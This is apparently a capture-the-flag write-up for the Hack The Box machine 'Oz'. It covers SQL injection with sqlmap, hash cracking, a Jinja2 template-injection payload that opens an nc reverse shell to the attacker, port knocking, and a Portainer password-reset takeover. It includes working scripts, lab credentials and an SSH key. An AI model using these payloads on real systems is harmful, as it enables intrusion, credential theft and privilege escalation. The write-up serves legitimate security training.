Writeup: Hack The Box - Machines - Oz

Description

  • Name: Oz
  • IP: 10.10.10.96
  • Author: Mumbai & incidrthreat
  • Difficulty: 7.3/10

Discovery

nmap -sV -sC -Pn -p 1-65535 -T5 --min-rate 1000 --max-retries 5 10.10.10.96

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PORT     STATE SERVICE VERSION
80/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.14)
| http-methods:
|_ Supported Methods: HEAD OPTIONS GET POST
|_http-server-header: Werkzeug/0.14.1 Python/2.7.14
|_http-title: OZ webapi
|_http-trane-info: Problem with XML parsing of /evox/about
8080/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.14)
|_http-favicon: Unknown favicon MD5: 2AD9B45644388EAAA41B8DA6614F8256
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Werkzeug/0.14.1 Python/2.7.14
| http-title: GBR Support - Login
|_Requested resource was http://10.10.10.96:8080/login
|_http-trane-info: Problem with XML parsing of /evox/about

Pwn

On port 8080 we have a “GBR Support” portal with a login form. The login is not vulnerable to SQLi and with hydra we didn’t found a valid username/password tuple.

Using dirsearch on both ports is useless since there is a custom 404 page that will return a random string of random length.

Since the server support different HTTP methods we wrote a basic scanner using python requests library: we can abuse the OPTIONS method to read the Content-Length header. The webserver will answer with a code 200 and a Content-Length of 0 for an existing page.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import multiprocessing as mp

url = "http://10.10.10.96/"


def check(token):
r = requests.options(url + token)
if int(r.headers["Content-Length"]) == 0:
print("OPTIONS", token)
r = requests.post(url + token)

if __name__ == '__main__':
lines = open("/usr/share/dirbuster/directory-list-2.3-medium.txt").read().split("\n")
with mp.Pool(processes=100) as p:
p.map(check, lines)

Using this method we found a /users URI; we can now edit the script to add this path to the base URL but we got a lot of false positive so we changed from OPTIONS to GET.

1
2
3
4
5
6
7
http POST http://10.10.10.96/users
HTTP/1.0 200 OK
Content-Length: 24
Content-Type: text/html; charset=utf-8
Server: Werkzeug/0.14.1 Python/2.7.14

YOU HAVE NO POWER HERE!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import multiprocessing as mp

url = "http://10.10.10.96/users/"


def check(token):
url = "http://10.10.10.96/"
r = requests.options(url + token)
if int(r.headers["Content-Length"]) == 0:
print("OPTIONS", token, r.text)
url = "http://10.10.10.96/users/"
r = requests.get(url + token)
if r.text.strip()[:4] != "null":
print("GET", token, r.text)

if __name__ == '__main__':
lines = open("params.txt").read().split("\n")
with mp.Pool(processes=100) as p:
p.map(check, lines)

Now we got another URI part: /users/admin.

1
2
3
4
5
6
7
8
9
http GET "http://10.10.10.96/users/admin"
HTTP/1.0 200 OK
Content-Length: 21
Content-Type: application/json
Server: Werkzeug/0.14.1 Python/2.7.14

{
"username": "admin"
}

So we can now proceed to guess other URI parts or parameters using other HTTP methods.

After some fuzzing we hadn’t found anything useful to continue the enumeration phase but we saw that when inserting a ' in the URL the server returns a 505 error.

1
2
3
4
5
6
7
8
9
10
http "http://10.10.10.96/users/admin'"
HTTP/1.0 500 INTERNAL SERVER ERROR
Content-Length: 291
Content-Type: text/html
Date: Mon, 03 Sep 2018 22:17:05 GMT
Server: Werkzeug/0.14.1 Python/2.7.14

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>

Maybe we can exploit some URI injection using sqlmap.

sqlmap -u "http://10.10.10.96/users/admin" --threads 10 --level 5 --risk 3 --batch --dbs

Turns out that the target is vulnerable and at the end of the scan we got the list of all MySQL server’s databases.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://10.10.10.96:80/users/admin' AND 5246=5246-- SeOn

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: http://10.10.10.96:80/users/admin' AND SLEEP(5)-- BpAR

Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: http://10.10.10.96:80/users/-2790' UNION ALL SELECT CONCAT(0x717a766271,0x6e6f776f6a784870634348434f575354716f556d647a59595a454b6d435343644c576e5547414449,0x7178787071)-- XCKA
---
[00:11:44] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[00:11:44] [INFO] fetching database names
[00:11:44] [INFO] used SQL query returns 4 entries
[00:11:44] [INFO] starting 4 threads
[00:11:44] [INFO] resumed: information_schema
[00:11:44] [INFO] resumed: mysql
[00:11:44] [INFO] resumed: ozdb
[00:11:44] [INFO] resumed: performance_schema
available databases [4]:
[*] information_schema
[*] mysql
[*] ozdb
[*] performance_schema

The ozdb is the DB used by the GBR application on port 8080; the webapp seems to be a simple ticketing system.
Dumping all the content of this DB we got some username a password hashes, also with a bunch of tickets:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
Database: ozdb
Table: users_gbw
[6 entries]
+----+-------------+----------------------------------------------------------------------------------------+
| id | username | password |
+----+-------------+----------------------------------------------------------------------------------------+
| 1 | dorthi | $pbkdf2-sha256$5000$aA3h3LvXOseYk3IupVQKgQ$ogPU/XoFb.nzdCGDulkW3AeDZPbK580zeTxJnG0EJ78 |
| 2 | tin.man | $pbkdf2-sha256$5000$GgNACCFkDOE8B4AwZgzBuA$IXewCMHWhf7ktju5Sw.W.ZWMyHYAJ5mpvWialENXofk |
| 3 | wizard.oz | $pbkdf2-sha256$5000$BCDkXKuVMgaAEMJ4z5mzdg$GNn4Ti/hUyMgoyI7GKGJWeqlZg28RIqSqspvKQq6LWY |
| 4 | coward.lyon | $pbkdf2-sha256$5000$bU2JsVYqpbT2PqcUQmjN.Q$hO7DfQLTL6Nq2MeKei39Jn0ddmqly3uBxO/tbBuw4DY |
| 5 | toto | $pbkdf2-sha256$5000$Zax17l1Lac25V6oVwnjPWQ$oTYQQVsuSz9kmFggpAWB0yrKsMdPjvfob9NfBq4Wtkg |
| 6 | admin | $pbkdf2-sha256$5000$d47xHsP4P6eUUgoh5BzjfA$jWgyYmxDK.slJYUTsv9V9xZ3WWwcl9EBOsz.bARwGBQ |
+----+-------------+----------------------------------------------------------------------------------------+

Database: ozdb
Table: tickets_gbw
[12 entries]
+----+----------+--------------------------------------------------------------------------------------------------------------------------------+
| id | name | desc |
+----+----------+--------------------------------------------------------------------------------------------------------------------------------+
| 1 | GBR-987 | Reissued new id_rsa and id_rsa.pub keys for ssh access to dorthi. |
| 2 | GBR-1204 | Where did all these damn monkey's come from!? I need to call pest control. |
| 3 | GBR-1205 | Note to self: Toto keeps chewing on the curtain, find one with dog repellent. |
| 4 | GBR-1389 | Nothing to see here... V2hhdCBkaWQgeW91IGV4cGVjdD8= |
| 5 | GBR-4034 | Think of a better secret knock for the front door. Doesn't seem that secure, a Lion got in today. |
| 6 | GBR-5012 | I bet you won't read the next entry. |
| 7 | GBR-7890 | HAHA! Made you look. |
| 8 | GBR-7945 | Dorthi should be able to find her keys in the default folder under /home/dorthi/ on the db. |
| 9 | GBR-8011 | Seriously though, WW91J3JlIGp1c3QgdHJ5aW5nIHRvbyBoYXJkLi4uIG5vYm9keSBoaWRlcyBhbnl0aGluZyBpbiBiYXNlNjQgYW55bW9yZS4uLiBjJ21vbi4= |
| 10 | GBR-8042 | You are just wasting time now... someone else is getting user.txt |
| 11 | GBR-8457 | Look... now they've got root.txt and you don't even have user.txt |
| 12 | GBR-9872 | db information loaded to ticket application for shared db access |
+----+----------+--------------------------------------------------------------------------------------------------------------------------------+

V2hhdCBkaWQgeW91IGV4cGVjdD8=
What did you expect?

WW91J3JlIGp1c3QgdHJ5aW5nIHRvbyBoYXJkLi4uIG5vYm9keSBoaWRlcyBhbnl0aGluZyBpbiBiYXNlNjQgYW55bW9yZS4uLiBjJ21vbi4=
You're just trying too hard... nobody hides anything in base64 anymore... c'mon.

From sqlmap we also got root and dorthi MySQL password hashes:

1
2
root:61A2BD98DAD2A09749B6FC77A9578609D32518DD
dorthi:43AE542A63D9C43FF9D40D0280CFDA58F6C747CA

We first used JtR to crack some user hashhes: john --format=PBKDF2-HMAC-SHA256-opencl --wordlist=rockyou.txt --rules hashes.txt and after a while we got the password for wizard.oz: wizardofoz22.

While JtR was runnig we retrieved, using sqlmap file read options, the SSH private key for user dorthi in /home/dorthi/.ssh/id_rsa:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,66B9F39F33BA0788CD27207BF8F2D0F6

RV903H6V6lhKxl8dhocaEtL4Uzkyj1fqyVj3eySqkAFkkXms2H+4lfb35UZb3WFC
b6P7zYZDAnRLQjJEc/sQVXuwEzfWMa7pYF9Kv6ijIZmSDOMAPjaCjnjnX5kJMK3F
e1BrQdh0phWAhhUmbYvt2z8DD/OGKhxlC7oT/49I/ME+tm5eyLGbK69Ouxb5PBty
h9A+Tn70giENR/ExO8qY4WNQQMtiCM0tszes8+guOEKCckMivmR2qWHTCs+N7wbz
a//JhOG+GdqvEhJp15pQuj/3SC9O5xyLe2mqL1TUK3WrFpQyv8lXartH1vKTnybd
9+Wme/gVTfwSZWgMeGQjRXWe3KUsgGZNFK75wYtA/F/DB7QZFwfO2Lb0mL7Xyzx6
ZakulY4bFpBtXsuBJYPNy7wB5ZveRSB2f8dznu2mvarByMoCN/XgVVZujugNbEcj
evroLGNe/+ISkJWV443KyTcJ2iIRAa+BzHhrBx31kG//nix0vXoHzB8Vj3fqh+2M
EycVvDxLK8CIMzHc3cRVUMBeQ2X4GuLPGRKlUeSrmYz/sH75AR3zh6Zvlva15Yav
5vR48cdShFS3FC6aH6SQWVe9K3oHzYhwlfT+wVPfaeZrSlCH0hG1z9C1B9BxMLQr
DHejp9bbLppJ39pe1U+DBjzDo4s6rk+Ci/5dpieoeXrmGTqElDQi+KEU9g8CJpto
bYAGUxPFIpPrN2+1RBbxY6YVaop5eyqtnF4ZGpJCoCW2r8BRsCvuILvrO1O0gXF+
wtsktmylmHvHApoXrW/GThjdVkdD9U/6Rmvv3s/OhtlAp3Wqw6RI+KfCPGiCzh1V
0yfXH70CfLO2NcWtO/JUJvYH3M+rvDDHZSLqgW841ykzdrQXnR7s9Nj2EmoW72IH
znNPmB1LQtD45NH6OIG8+QWNAdQHcgZepwPz4/9pe2tEqu7Mg/cLUBsTYb4a6mft
icOX9OAOrcZ8RGcIdVWtzU4q2YKZex4lyzeC/k4TAbofZ0E4kUsaIbFV/7OMedMC
zCTJ6rlAl2d8e8dsSfF96QWevnD50yx+wbJ/izZonHmU/2ac4c8LPYq6Q9KLmlnu
vI9bLfOJh8DLFuqCVI8GzROjIdxdlzk9yp4LxcAnm1Ox9MEIqmOVwAd3bEmYckKw
w/EmArNIrnr54Q7a1PMdCsZcejCjnvmQFZ3ko5CoFCC+kUe1j92i081kOAhmXqV3
c6xgh8Vg2qOyzoZm5wRZZF2nTXnnCQ3OYR3NMsUBTVG2tlgfp1NgdwIyxTWn09V0
nOzqNtJ7OBt0/RewTsFgoNVrCQbQ8VvZFckvG8sV3U9bh9Zl28/2I3B472iQRo+5
uoRHpAgfOSOERtxuMpkrkU3IzSPsVS9c3LgKhiTS5wTbTw7O/vxxNOoLpoxO2Wzb
/4XnEBh6VgLrjThQcGKigkWJaKyBHOhEtuZqDv2MFSE6zdX/N+L/FRIv1oVR9VYv
QGpqEaGSUG+/TSdcANQdD3mv6EGYI+o4rZKEHJKUlCI+I48jHbvQCLWaR/bkjZJu
XtSuV0TJXto6abznSC1BFlACIqBmHdeaIXWqH+NlXOCGE8jQGM8s/fd/j5g1Adw3
-----END RSA PRIVATE KEY-----

The key is encrypted and unusable (we don’t even have a SSH service) so we can pipeline another JtR job for this key (ssh2john to get the hash).

From the service homepage we saw the same tickets dumped from the DB and a form to submit a new ticket.

Since the server is using Flask (with python2) we can try to inject some python code using a vulnerability called SSTI: Server-Side Template Injection.
Template engines are widely used by web applications to present dynamic data via web pages and emails. Unsafely embedding user input in templates enables Server-Side Template Injection. Template Injection can be used to directly attack web servers’ internals and often obtain Remote Code Execution, turning every vulnerable application into a potential pivot point.

First we have to identify which engine the web app is using (Mako, Jinja2, Twig, …): since Jinja2 is the most used one we can try to inject 4, if the application returns 4 we can exploit the application to run python code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

url = "http://10.10.10.96:8080/"
data = {"username": "wizard.oz", "password": "wizardofoz22"}
header = {
"User-Agent":
"Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0"
}

sess = requests.Session()
sess.headers.update(header)
sess.post(url + "login", data=data)
print(sess.cookies.get_dict())

exploit = {"name": "{{2+2}}", "desc": "desc"}
r = sess.post(url, data=exploit, allow_redirects=False)
print(r.text)

We must block the redirection after the POST request since the application will immediatly returns to the home without printing any response or adding any new ticket to the DB.

Running the script we got as response Name: 4 desc: desc!
Now it’s time to inject a meterpreter web delivery script!

With config.items() in the injection point we got the application configuration:

1
Name: [('JSON_AS_ASCII', True), ('USE_X_SENDFILE', False), ('SQLALCHEMY_DATABASE_URI', 'mysql+pymysql://dorthi:N0Pl4c3L1keH0me@10.100.10.4/ozdb'), ('SESSION_COOKIE_SECURE', False), ('SQLALCHEMY_TRACK_MODIFICATIONS', None), ('SQLALCHEMY_POOL_SIZE', None), ('SQLALCHEMY_POOL_TIMEOUT', None), ('SESSION_COOKIE_PATH', None), ('SQLALCHEMY_RECORD_QUERIES', None), ('SESSION_COOKIE_DOMAIN', None), ('SESSION_COOKIE_NAME', 'session'), ('SQLALCHEMY_BINDS', None), ('SQLALCHEMY_POOL_RECYCLE', None), ('MAX_COOKIE_SIZE', 4093), ('SESSION_COOKIE_SAMESITE', None), ('PROPAGATE_EXCEPTIONS', None), ('ENV', 'production'), ('DEBUG', False), ('SQLALCHEMY_COMMIT_ON_TEARDOWN', False), ('SECRET_KEY', None), ('EXPLAIN_TEMPLATE_LOADING', False), ('SQLALCHEMY_NATIVE_UNICODE', None), ('MAX_CONTENT_LENGTH', None), ('SQLALCHEMY_ECHO', False), ('APPLICATION_ROOT', '/'), ('SERVER_NAME', None), ('PREFERRED_URL_SCHEME', 'http'), ('JSONIFY_PRETTYPRINT_REGULAR', False), ('TESTING', False), ('PERMANENT_SESSION_LIFETIME', datetime.timedelta(31)), ('TEMPLATES_AUTO_RELOAD', None), ('TRAP_BAD_REQUEST_ERRORS', None), ('JSON_SORT_KEYS', True), ('JSONIFY_MIMETYPE', 'application/json'), ('SQLALCHEMY_MAX_OVERFLOW', None), ('SESSION_COOKIE_HTTPONLY', True), ('SEND_FILE_MAX_AGE_DEFAULT', datetime.timedelta(0, 43200)), ('PRESERVE_CONTEXT_ON_EXCEPTION', None), ('SESSION_REFRESH_EACH_REQUEST', True), ('TRAP_HTTP_EXCEPTIONS', False)] desc: desc

And MySQL credential for dorthi on IP 10.100.10.4 but we can’t use the RUNCMD configuration to execute commands on the target system.
Abusing the Python MRO (Method Resolution Order) we can list all objects in the current environment and search for something that will let us execute OS commands.

  • ''.__class__.__mro__[2].__subclasses__(): lists all pyton imported classes
  • search for the index of a class that has the ability to import popen (or any other system method)
  • found Name: <class 'warnings.catch_warnings'> desc: desc at index 59
  • class warnings inherit the linecache method (''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals)
  • ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values() and search for the os module; in this case is at index 12 (or -2)
  • craft the complete payload with popen function: ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[-2].popen('id').read()

Or just use tplmap to identify and exploit SSTI vulnerabilities :D.

Now that we have a RCE on the web application we have to find a way to inject a meterpreter stage: nc is installed on the system so we can first open a simple reverse shell and then use metasploit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests

url = "http://10.10.10.96:8080/"
data = {"username": "wizard.oz", "password": "wizardofoz22"}
header = {
"User-Agent":
"Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0"
}

sess = requests.Session()
sess.headers.update(header)
sess.post(url + "login", data=data)
print(sess.cookies.get_dict())

exploit = {
"name":
"{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].__dict__.values()[-2].popen('nc 10.10.X.X 3487 -e /bin/sh').read()}}",
"desc":
"desc"
}
r = sess.post(url, data=exploit, allow_redirects=False)
print(r.text.replace("&#39;", "'").replace("&gt;", ">").replace("&lt;", "<"))

From the working directory we got the source code of the web application, a Dockerfile for the database server and its start script:

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash

docker run -d -p 8080:8080 \
--net prodnet \
--ip 10.100.10.2 \
--name=tix-app \
-h tix-app \
-v /dev/null:/root/.ash_history:ro \
-v /dev/null:/root/.sh_history:ro \
-v /containers/database:/containers/database:ro \
-v /connect/.secret/:/.secret/:ro \
--restart=always \
tix-app

From /.secret/ we got a knock config file:

1
2
3
4
5
6
7
8
9
10
11
[options]
logfile = /var/log/knockd.log

[opencloseSSH]

sequence = 40809:udp,50212:udp,46969:udp
seq_timeout = 15
start_command = ufw allow from %IP% to any port 22
cmd_timeout = 10
stop_command = ufw delete allow from %IP% to any port 22
tcpflags = syn

From the database connection source code we found a password for dorthi user: N0Pl4c3L1keH0me. Using that password we can decrypt the private key with OpenSSL openssl rsa -in priv.key -out priv_free.key.

So now we have to knock on those port and connect as dorthi and get the first flag.

1
2
3
4
5
HOST=$1
shift
for ARG in "$@"; do
nmap -sU --max-retries 0 -p $ARG $HOST
done

Poking around with the meterpreter session we also found the MySQL root password: SuP3rS3cr3tP@ss (root user is in DenyUsers in SSH and is not the same password for the system user).

sudo -l is suggesting that we need to abuse docker network command to escalate to root:

1
2
3
4
5
6
Matching Defaults entries for dorthi on Oz:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User dorthi may run the following commands on Oz:
(ALL) NOPASSWD: /usr/bin/docker network inspect *
(ALL) NOPASSWD: /usr/bin/docker network ls

But on a quick scan on root running processes we saw that Portainer was alive.

Portainer is a web UI (with exposed API) that let you manage all your docker environment.

Portainer’s changelog is useful to search for some vulnerabilities: https://allmychanges.com/p/javascript/portainer/. The version used in this box is the last vulnerable to a wrong implementation of the auth API that let an attacker change the admin password without authentication:

  • Fix a security issue where it was possible to set the admin password multiple times: #493
1
2
3
4
5
6
7
8
Steps to reproduce the issue:

Run portainer
POST to /api/users/admin/init with json [password: mypassword]
login with this password
POST to /api/users/admin/init with json [password: myotherpassword] without Authorization header
Login with mypassword is impossible
Login with myotherpassword is possible

We first need to access the portainer’s container so with SSH we port-forwarded the IP 172.17.0.2 and the port 9000 to our localhost.

ssh -i priv_free.key dorthi@10.10.10.96 -L 9000:172.17.0.2:9000

Now with a simple POST the can set the admin password to dodopass and access the web UI:

1
2
3
4
5
6
http POST "http://localhost:9000/api/users/admin/init" password=dodopass

HTTP/1.1 200 OK
Content-Length: 0
Content-Type: text/plain; charset=utf-8
Date: Wed, 05 Sep 2018 08:32:58 GMT

Since portainer app can manage all docker instances and images through the docker host socket we have the ability to create a cointainer that mount the /root folder and read the flag.

  1. Select Containers in the sidebar.
  2. Pick a pulled image from other containers: in this case python:2.7-alpine from tix-app cointainer.
  3. Add Container, insert a name (dodock) and the image python:2.7-alpine.
  4. On entry point select python and console Interactive.
  5. On Volume now we need to mount the /root host folder into the container.
  6. Select Privileged Mode on Security/Host tab.
  7. Create the container.

Now from the dashboard we can see our running container; in details view we can also interact with the system using Console to spawn a /bin/sh shell and read the flag.